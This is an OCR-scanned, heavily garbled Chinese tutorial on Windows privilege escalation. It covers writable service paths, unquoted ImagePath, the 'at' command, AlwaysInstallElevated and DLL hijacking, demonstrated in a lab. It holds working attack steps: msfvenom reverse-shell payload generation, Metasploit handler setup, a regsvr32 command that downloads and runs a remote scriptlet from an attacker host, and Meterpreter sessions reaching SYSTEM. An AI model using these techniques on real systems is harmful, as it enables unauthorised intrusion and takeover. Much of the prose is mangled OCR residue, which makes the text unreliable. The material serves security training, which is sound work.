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~|| =% ] o=
a¥] (REA) REG_SZ (HEFSE
ab) Displayiame REG_SZ Gateway Session Service
#ErrorContral  REG_DWORD 00000001 (1)
9| Failurefctions REG_BINARY 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00
i Group REG_SZ
E’][mag{Paﬂh REG_EXPAND_SZ  CiAProgram Files [xBEJ\Gateway\SSLVPM\gwservice. exe
¥ ObjectMame REG_SZ LocalSystem
1) Seant REG_DWORD DO000002 (2)
% Type REG_DWORD (:00000110 (272)
-’-=|‘-WW64 REG_DWORD O000000Y (1)
& [ mmeme
HHIEETF o)
InageFath
EhAFEE V)
L4 CFrogram Files (@36)\Gatewap SSLVFH peservice. exe I
o ) wa

Hp g —/TmagePathf) ZFR, BER{HZ:
C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe
A OLE R — AN VPNA SRR S . N1 A PR A AT e -

o LAXAEMER S A IR H A AT, IR AT DL B IZ K InagePath HfE, 15
I B A M A, ARATX AR S5 HALFR o

o 2.5 X MmagePathfr45 Al H AR T4, B2 Ff T4 mr Uit
gwservice.exe , MIM4iRS5 AN, MAEW AT RATHIN R OK5) o

{ERAR B, SR AfT
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Windows AHIFANSR IS - IBTEM 1%

-1 ] i ]

air] (LA RE Ex R

ab| DisplayMame RE Gateway Session Service

¥ ErrorControl RE Do DOD0000L (1]

¥ Failurefctions  REG Bl 0L 00 00 00 00 00 00 00 00 00 00 00 0L 00 00 00 14 0000 00 01 00 00 00 00 00 00 0D
b Group REG 5Z

38 ImagePath REG EXPAND S5Z  CAProgram Fles («BSP\Gateway| SSLVPN gwserdce.exe
ib| Objectidame REG 52 Locals

W Start REG DWORD Dl 02 (2]

" Type REG DWORD 00000110 (272

e WOWEL REG_DWORD OeeDODOO00A. (1

4

LG Bl

.@ EE T -

|ty

ImagePath: Hiz S,

L

Hil FH P B0 G AR

SRS T R “icacls” fir 4 2 F AR

| C:\Windows\system32\cmd

C:“Program Files C(xB62“Gateway SSLUPM*icacls .

. NT AUTHORITYSINTERACTIUVE:CI>COI >»<{CI ><{F>
Everyone = {I>(QI>C{CI >{F>
BUILTIN“Administrators (I >2{(0I 5{(CI»<{F>

ERININIE 1 i HIR 8 4R

C:Program Files (x86>“Gateway SSLUPN>_

PR % B, “Everyone” /AT LS5 H & T A XA

Ps:Everyonef{F5 4 ui EHL F A M, % (Guest)

L YGUK
B, EH Twin7fiGuestH ;7 i FHGuest & R iX G Pl :
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p
Bl C\Windows\system3N\cmd.exe | SNRCE X

C:~>uhoami
Jjohn—pcguest

C=no g

'c.-ru‘s‘-uft Windows [R7- .
YFTH <c> 2889 Microsoft Corporation. |

C sers™NGuestiping 192.168.117.132
:‘ll_'_.ufﬁ i . TEF'F General failure.

Msers“Guest >

Pingfi & #A1EH . FRHITRSE,
i FmstA il — /N AR 5 :

rootgbhall: = - -]

File Edt View h  Temmi p File Ed& View Search Terminal Help

rpreter-stag - tCp-d43-exe. rol> set PAYLOAD
erpre stag

rpreter-staged- reverse - top-443 cl= set LPORT 44

or /e v
none LMOST=19Z, 168,117,132 LPORT=443 1

eterpreter-staged-reverse-top-443, exe’

/5 -BatErpratar-

B R ke Agwservice.exe
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Windows AHIFANSR IS - IBTEM 1%

4 == P

% gwendsecurity.dl| 2017/6/23 15:21
%) gwne.dll 2017/6/23 15:21
gwproxy.dil

gwservice.bak 201

&

® | gwservice.exe 2018/

% gwsession.dll 201

gwsso.dll B
% gwvdisketrl.dll 2017/6/23 15:21 52 KB
wvsdctrl.dll 2017 76 KB
gwvsdserver.dll 2017/6/23 15:21 1
% libeay32_1dll 2017/6/23 13:21
package.conf 2018/9/14 18:53 2 KB

menginP_d”

ssleay32_1.dl 2017/6/23 15:21

HHATIER— T, RE &5 Guestfjsession

msf exploit(

Jobs

Id Name Payload opts

Exploit: multi/handler

exploit( ) =

Sending stage (179779 bytes)

Meterpreter s ion 1 opened (192.168.117.132:443 -> 192.168.117.130:4 ) at 2018-09-14 07:43:13 -0400
exploit( ) sions -i 1

Starting interaction with 1...

meterpreter > getuid
Server username: John-PC\Guest
meterpreter >

WRRTEE, 8 (BEE) Guestflf, BREHAM P, RIGSYSTEMALKR :

> jobs

Id Name Payload Payload
a Exploit: multishandler windows/meterpreter/reverse tcp tcp://192.168.117.132:443
nsf exploit( ) > [*] 192.168.117.130 - Meterpreter on 1 closed. Re

ytes) to 192.168.117.130
ed (192.168.117.132:443 -> L168.117.130:49202) at 2018-09-14 07:50:41 -0400

Connection

192.168.117.132:443 -> 192.168.117.138:4

2.168.117.130)

msf exploit( ) = sessions -i
[*] Starting interaction with 2...

meterpreter > getuid
server username: NT AUTHORITY
meterpreter > fi

FEAUIE DL BAR YRR 55 e A B ERSE . FRE S5 X LT VR 2 T I se R X 7 =,
A HAERRAHEXP ...
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0x02 1&EMAE 121X

ELE—d, Ff4keiEtF Gateway Session Service X /MRS #4740 T HALSEASUT
%

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services

=z i mE

ab) (BRiA) REG_SZ EEFEE

ab) DisplayName REG_SZ Gateway Session Service

#%|ErrorControl REG_DWORD 0x00000001 (1)

%% FailureActions REG_BINARY 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00
ab) Group REG_SZ

H‘}]lmagePath REG_EXPAND_SZ  C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe
ab) ObjectName REG_SZ LocalSystem

‘.’.'3: Start REG_DWORD 000000002 (2)

s Type REG_DWORD 0x00000110 (272)

8 WOW64 REG_DWORD 0x00000001 (1)

Frf— magePath iy £ 75, B

C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe

MRS AN, K iEGX 4N ImagePath e, Ffl 1o X AME, [H& 7T DL
Windows R RIG UM I . TER: MATX AR SRR, HERR B AR A R A 2
100% AT

H 5 : YImagePathPE A E— A4t #EnT, A0 LLET Windows APTH
#J “CreateProcessA” B HIHFE, BRI EETASHHEWRZE R T, 4RSS E
N, SEETESE H T Y ET H R R A SRR A R SO

¥
C:\Program Files (x86)\server process\ssl\service.exe
MRARL T L, TSR T

1. C:\Program.exe
2. C:\Program Files (x86)\server.exe
3. C:\Program Files (x86)\server process\ssl\service.exe

22445 https://docs.microsoft.com/zh-
cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa

#rImage Pathfi){E /2 :
“C:\Program Files (x86)\server process\ssl\service.exe”
Y 5aR B, A2 B0 PR

W UE R I B 2 2 R )7
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=L *3 e
s caid)| REG $7 AR
!E]Dmriptinn REG_SZ @%systernroot3\Microsoft NET\Framework6d\w3 0\Windows Communication Foundation\ServiceModellnstallRC.dil,-8192
ab| DisplayName REG_SZ @%systemroot®\Microsoft NET\Frameworkt4w3 0\Windows Communication Foundation\ServiceModellnstallRC.dIl -8193
"%/ ErrorControl REG_DWORD 000000001 (1)
M4/ FailureActions  REG_BINARY &4 03 00 00 00 00 00 00 0000 00 00 03 00 00 00 14 00 00 00 01 00 00 00 c0 d4 01 0001 00 00 00 e0 93 04 00 0000 00 00 00 00 0000
b ImagePath REG_EXPAND SZ  “%systemroot®\Microsoft MET\Frameworkéw 3 00\Windows Communication Foundation\infocard.exe”
| ObjectName REG_SZ LocalSystem
!!1] RequiredPrivile... REG_MULTI 5Z SelcbPrivilege SeAssignPrimaryTokenPrivilege SeTakeOwnershipPrivilege SeBackupPrivilege SeRestorePrivilege SelmpersonateFrivilege
#SenviceSidType  REG_DWORD (00000001 (1)
ne|Start REG_DWORD 00000003 (3)
" Type REG_DWORD 00000020 (3.2)
=13 i s
28] (BAiA) REG_SZ (B2 )
b DependCnServi.. REG_MULTL_SZ Bowser MRxSmb10 MRxSmb20 M5I
ab]| Description REG_S7 @%systernrootiEhsystem 3 Mwkssvedll -101
.*!']DisplayNarne REG_SZ @%systemrootdersystem 3N wkssvedll -100
5 ErrorControl REG_DWORD 0x00000001 (1)
¥ FailureActions  REG_BIMARY 80 51 01 00 00 00 00 00 00 00 00100 03 00 00 00 14 00 00 00 01 00 00 00 60 ea 00 00 01 00 00 00 0 d4 01 0000 00 00 00 00 00 00 00
8] Group REG_SZ MetworkProvider
st ImagePath REG_EXPAND SZ  %SystemRoot¥\System3 Nsvchost.exe -k MetworkService
|0bjectName REG_SZ MT AUTHORITY\NetworkService
,l!l']RequiledPriui le. REG_MULTI SZ SeChangeMotifyFrivilege SelmpersenateFrivilege SefuditFrivilege
WServiceSidType  REG_DWORD OxD0000001 (1)
fStart REG_DWORD (xD0000002 (2}
w2 Type REG_DWORD Ox00000020 (32)

ImagePath 5 & F RE B E, 1FiX B “Ssystemrootss” $5H42 “C:\Windows\”,
S FH P I IR E X AN AR AT B T AR IMERAE M “C\Windows\” H Y SCAE,
)iy Uy i PO N E oL S o

FHMAFK: HT “C:\Program File(x86)" M@/ (FuUserfALRIGAKHI ) HIaik
BN i A SR U SETEE HE . AR IRSS s B DL AR, 2R R AT
BRI, A2 AN AR K o

RN TE

AR B -

~# msfpc windows exe

PERORIERAEIR R Z AR S, EHEKB R S48 “Program. exe” il
¥E “C:\Program.exe” , %R)5HE 3 FHL.

& el » iR » ARE (C) »

| mm-  sm- g
[[E— SR ’ 1R E s Hoh
|
| MTR | Perflogs 2009/7/1411:20  STfsE
I | Program Files 2018/9/1418:52 X%
< BiAFEHTE | Program Files (x86) 2018/9/1419:56  Z{4E
| Windows 2018/9/12 20:58 Stk
~E == 2018/9/1419:03 ik
L Rl [®7 Program.exe 2018/9/14 19:36 Janzs e 73 KB
BBk
=1
o}, FEHA
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Windows ZSHiAF SR FHH 15 - eI %
LI RS B 218 B4 “SYSTEM AR

rooti@kali: -
File Edit View Search Terminal Tabs Help
root@kali: ~ *

inet 192.168.117.132 ne 255.2 8 broadcast 192.168.117.255
i 2 f n 64 scopeid Ox28<link=>

rse-tcp-443-exe.rc
. rc r ERB directives.
xploit/multi dler
PAYLOAD windows/meterpreter/reverse_tcp
c)> set LHOST 192.168.117.132
ter-staged-rev LCp-44: rc)> set LPORT 443

reter-staged-reve p-443-exe.rc)> set ExitOnSession false

reter-staged-reverse-tcp-443-exe.rc)> run -j
oit ru1nan as baqurDund job B.

rted reverse TCP handler on 192,.168.117.132:443
1 ) = jobs

Payload

2.168.117.132:443

-> 192.168.117.130:49170) at 2018-89-15 08:17:26 -0400

) = sessions -i 1
5 :rLlnq interaction with 1.

= getuid
: NT AUTHORIT

0x03 ERH{ES1TXIIRIX
AKREANBRERILKH, BB EE. RRERMS. BREIER & H.

EWindows2000. Windows 2003. Windows XPiX =28 & 4ith, A1 LLIEAA K
AdministratorsZH i) F P AR $2F+ 2] SYSTEM

R EIE B AR 4 at

atie— N &AN EBES TR ar 4T TR, Bk H . didatiy 4 & A 1 e ARSI
%], WindowsZRi\ LISYSTEMAY FRiZ4T. ERHMES R m DLEALE . 7] DIje—A ik
il S A o

Bk at IR 4
5] ¥: at 10:45PM calc.exe
A &S BAT A ERAES THR . 74 H10:45)H Flicalc.exe.

AT LA “/interactive” F JE B A2 ELAR A :

at 10:45PM /interactive calc.exe
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Windows ZSHiAF SR FHH 15 - eI %
I E 275 LI SYSTEMAY R 2 5l

¥ Fi“at 10:56PM /interactive calc.exe”fy &8 Z—A> E AT SR

SR https://support.microsoft.com/zh-cn/help/313565/how-to-use-the-at-
command-to-schedule-tasks

15| x|

dministratordat
here are no entries in the list.

cisDocuments and SettingssAdministrator>at 18:56PM Ainteractive calc.exe
idded a new Jjob with job ID =1

s:x\Documents and Settine
ttatus I

18:56 PH

>:xDocuments and Settings“Administrator> A_

Applications ~ Processes IPerformancel I\letwarking] Users ]

Image Name | User Mame | cru | |mem usag
calc.exe SYSTEM oo 1,964
Caskmar, exe Barnstr aror La1) 3,316
cmd.exe Administrakor oo 1,644
explorer.exe Administrator oo 11,576
WINprvse, exe SYSTEM oo 5,116
sychost.exe SYSTEM an 5,180
sychost, exe LOCAL SERVICE oo 1,264
inetinfo,exe SYSTEM oo 12,540
sychost.exe SYSTEM an 1,920
msdbc.exe ME TWORK SERWICE oo 3,732
spoolsy, exe SYSTEM oo 4,076
svchost.exe SYSTEM on 19,964
sychost.exe SYSTEM [ul] 3,800
sychost, exe LOCAL SERVICE oo 4,960
sychost,exe MNETWORK SERWICE on 4,020
sychast exe ME TWORK SERWICE on 3,068
sychost exe SYSTEM oo 2,508
Isass. exe SYSTEM oo 7,432
services.exe SYSTEM an 3,182
[ how processes from all users End Prc
Processes: 24 CPU Usage: 2% Commit Charae: 105M )
i Startl & & Im Command Prompt | Caleulator | =) windows Task Manager i % 10:56PM

smean

)OO
7] LR I Regsvr32—5ca 4 E4k, {di FHMSFR)“multi/script/web_ delivery”##, F AL
BF:
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Required Description
The local host to listen on. This must be an addre on the local machine or @
ing connections
It is randomly g ted)
is random)
options (windows
Current Setting Required Description
Exit technique (/ ed: "', ' . none}

The listen address {an interface may be specified)
The listen port

ploiti ) = exploit -
ploit running as background job 1.

arted reverse TCP handler on 192.168.1
1

/192.168.117.132 T0EIccV

regsvr32 /s /n /u /i:http://192.168.117.132:8080/EixyqoXL7Q8JccV.sct scrobj.
dil

HATEIITHI 4, T 2R eI ERAES HRIH %

=

/7\\

at 11:16PM \interactive regsvr32 /s /n /u /i:http://192.168.117.132:8080/Eix
yqoXL7Q8JccV.sct scrobj.dll
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C=“\WINDOWS\system32>regsurld2 /s /n su /:i.:http:ff15‘2.168.11?.132:BBSB/EixyquHL?QB!
.Jccl.sct scrobj.dll l

Windows Script Component - http://192.168.117.132:8

@ [1,2] Unknown error

{H 23R & Plregsvra2 & ik -
HEEK R DiE B RS 4% (Win 2003 SP1) 7, S RHZ AR D,

NDocuments and Settings“\Administratorat
here are no entries in the list.

NDocuments and Settings“\Administrator>whoani k
runBxs y—gBBBs?1Nadministrator

C=“\Documents and Settings“Administrator>at 11:38PM Ainteractive C:/win.exe
Added a new Jjob with jeb ID =1

NDocuments and Settings“Administratorat
Btatus ID Day Time Command Line

1 Today 11:38 PM C:/uin.exe

NDocuments and Settings“Administrator>
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Windows A HIFFASUSR TS - R 1 4%
explolty } > explol -
Exploit running as background job 1.

¥ qtarred reverse TCP handler on 192.168.117.132:4444
f ex ) > [*] Using URL: http://192.168.117.132:8080/EixyqoXL7Q8]ccV

msf exploit( ) > jobs

Jobs

Name Payload Paylodd opts

Exploit: multi/handler windows/meterpreter/reverse tcp t 2.168.117.132:443
Exploit: multi/script/web_delivery windows/meterpreter/reverse tcp p:/ 2.168.117.132:4444

f exploit( ) =
192.168.117. web_delivery - Handling .sct Request

exploit( ) >
192.168.117. web_delivery - Handling .sct Reguest
192.168.117. web_delivery - Handling .sct Reguest
sf exploit( ) > [*] Sending stage (179779 bytes) to 192.168.117.133
* HeTerpretpr 2 opened (192.168.117.132:443 -> 192.168.117.133:1049) at 2018-09-15 11:30:00 -B8400

sessions -t
sessions -

X[
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

BT B A5 B ) 235 B 42 “SYSTEM AR -

0x04 MSIZLEEFH IR

A A Windows 20002, FELHEMSIZRE MR, = ISYSTEMARETT. R4k
B& J5 B 7 “Allow install with elevated privileges”.

Il LITEZH KM e (gpedit.msc) WpEE]:
5 Windows 23R 7 18 2R 48 2R ARATRR 7 I T R GEARR

BB ES RTINS R B AR . XSRS H 00 B Boas P Gt i _E 3R fti))
s SAATLCE B2 3R 00D B B e P il TR A “ VS I s B 2 ™ o DR 2 R B )
LB VR P 22 5 20 1) P AT RETC A B SO R H 5% (G045 52 1 BE BR i AR 755
ERYE SRR

IAREE I ESORBCE M B E, MR AR E B R R SR IR P . R
44 i P AR

TR HAATUAC BRI P BB SO e b S AR I B L e EAZ I AR, D AEPI A
IHD%%%KEFH Eo

p¥ ,MZ?E’JFHFTH?’F' ﬁiﬁa%?ﬂ’]ﬂﬁ&}féﬁﬂlﬁ%ﬂﬁ RAFRS 32 FRSCAF A ST i)
7J<ﬁl]i A TETER, XABER R P BCE A A —E &4
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Windows AHIFANSR IS - IBTEM 1%

o)
File  Action View Help
«» An FE| 2
=5 Local Computer Policy | Setting State |
E]E Computer Configuration Always install with elevated privileges Properties 21x| Mot configured
[0 Software Settings Enabled
B[] Windows Settings Sefting IE”PH“I Not configured
=l [:I Administrative Templates Mot confiqured
=) Windows Components % Always install with elevated privieges Not configured
L NetMeeting Mot configured
(- [_] Internet Explorer Not confiaured
[ application Compatibility conFlgu o
[ Event Vigwer ok con;;ur
[ Internet Information Services " Disabled Not configured
i -;’ Security Center Mak conF“fgured
([ Task Scheduler Mot configured
-] Terminal Services This setting must be set for the machine and the uger to be enforced. Mok configured
(] windows Explorer R Mot configured
=y Windows Installer Mot configured
(] Windows Messenger Mot configured
[ Windows Media Digital Rights h Mot configured
[ Windows Movie Maker Mot configured
[0 Windows Update Not. configured
[ Windows Media Player ot configured
G- System
[ Metwaork
(O printers | Supported on: At least Microsaft Windows 2000 |
User Configuration ; . X
e & a Previous Setting I Next Setting |
0K | Cancel | pph |
AW RSN

dostart| | (2 &

| “B) Group Policy Object Edtor |

|5 12:08 &M

BRINE UL T A “Not Configured” . MIR/Z “Enabled” . A LLECHEA A THARETT
S S NE IR Y VAR )i S R

e HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\windows\Installer
e HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer

https://payloads.online/archivers/2018-10-08/1#0x06-%E5%85%B3%E4%B A %8E%E6%88 %91 %E7 %9 A%84%ES % AE %89 %ES5 %85 % A8 %E6%88%90%. ..
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T Registry Editor =8
= B} My Compuber &) | Name Type Diata
=] HEY_CLASSES_ROOT AB){Dief ault) REG_SZ (vahs ot sat)
# ] HKEY_CURRENT_LZER BBl shwaysinstalElevated REG_DWORD DrCI00000AL (1)
= L HKEY _LULAL MACHINE ] EnableadminT SRemote REG_CWORD DxD000000L (1)
411 HARCARFARE
+- ) saM
] SECURITY
1] SOFTWARE
¥ comrsy
+ | Classes
D 8 Claee e DWORD Volue 21x]
+ Genmphus
! j Melﬂ Wahue pame:
#- ] Micrasaft lﬁ.hu-aﬁlmlﬁleﬂted
s s Vahae dafa Base
=1 (] Microsoft [i ¥ Hexadecimal
1 Conferendng " Decimal
+- ] SysbemCertificabes
-] wandows
0K, I Cancel
=] Current¥ersion
A Instaler
* [ 1PSac
= |_] safar
H- | Windows NT
] Program Groups
+ -] Schiumberger
L Secure
+ ] ThinPrint ||
#- (] vMware, Inc,
+-{) SYSTEM
¥ [1] HKEY_UISERS 4 E1| | *®
Wty Computer\HKEY _LOCAL _MACHINE|SOFTWARE Policies| Microsoftiwindows| Instaler
i) seart| | (i3 48 ) C:\Documents and Settin... || #f Registry Editor L% ourem

AT
HARNTEAE R —AMSDR L

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.134 LPORT=443
-f msi-nouac -o lask.msi

VRN

root@kali: ~ b 4 root@kali; = »

msf exploit(

Jobs

Name Payload Payload opts

msf exploit( ) > 1

¥lask.msifg il #|WindowsH , 1217 )5 BI A 3K 45 SYSTEMAFR -
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Sending stage (179779 bytes) to 192.168.117.129

-> 192.168.117.129:49165) at 2018-09-16 10:32:12 -0400

)
2 sessions -1
)

ng interaction with 3...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Z#43] . https://www.anquanke.com/post/id/87

0x05 DLLERFFIERN
ZHiE o R FDLLE I Uk SC, s 7JRM. o iR 115,

o QQUFEHINE6.05 B M DLLEHF - 7] | i T44X
(http://payloads.online/archivers/2018-06-09/1)

e Microsoft DirectX SDK June 2010 Xact3.exe DLL Hijackingfg #il
(http://payloads.online/archivers/2018-08-15/1)

AT RUY  FERRIIRFRO IR R T A e !

DLLEDFF BT

«DLLEhFE BARYG—AAHATIAFBITI, Windows i il AT B s 2 gk
bk s [E] H NS AT AT TR AN, HFBOE IR R 2EAIDLL, FRREA]
WS B ERE R bbb — R R B AR SR DLLAY i

o 1LIRJFHIFEE &

o 2. Z % H Bl SYSTEM32 H#

o 3.160i &% H 5t H) SYSTEM H 3
e 4.Windows H 3

o 5.01%% DLL i Frve il 24w H 5%
o 6.PATHIfRAE S 41 i H 5%

HICURAERR P H % TR FHREIDLL, — RS 7ESYSTEM32 H 5% 543, AW
RESTfAEDLLER:, 2AEEME

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs

Windows#4E 2 4t i “DLLEE 4234 % H 5+ F1“Known D LLs {3 /i 2 351” B AL i >R 4 8
MR TR FDLLA A, 25, MARFHEDLLEAN T H NS, U7
AH B B BRI AL ID BE o

YUK

i it Process Monitordk & 1 17— b H#E P A FEDLLE R . sl 7ESLRh, F-ATmr
PR 55 % B RAR A Download 73k, 434 H IR
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AT AN T, AT e T R SR

f£i%17] (http://payloads.online/archivers/2018-06-09/1)
B A S DU

MIRATCAIISEE o [H AL PR B i — AN 228 H S RUDLL)E , &3 R4 HIZHE . IRl
AR5 a5 B 3R B AR, WIIFE AT DLLINER ZE N, MEERHITEERIE T, 2
A AR5 BN 5 o

0x06 X F“HHNZEMIKOR”

A B R R H CHEARA I R /NAOR AR 05, IR — i e iRss T
TEHP IR o

T7 A RESTEAWISCE . BEMIR. CTF. SRl Bampl, e, gEK A
RO NI BRI S ISR TR AR oA —A
NRIACHE, ZHTIR SRR, STEX B APHESS .

R B WA PR D9 AN A 93 =, B ARHIHRAEBEOR . AR R0 AR
H WA, PR .

A AN -
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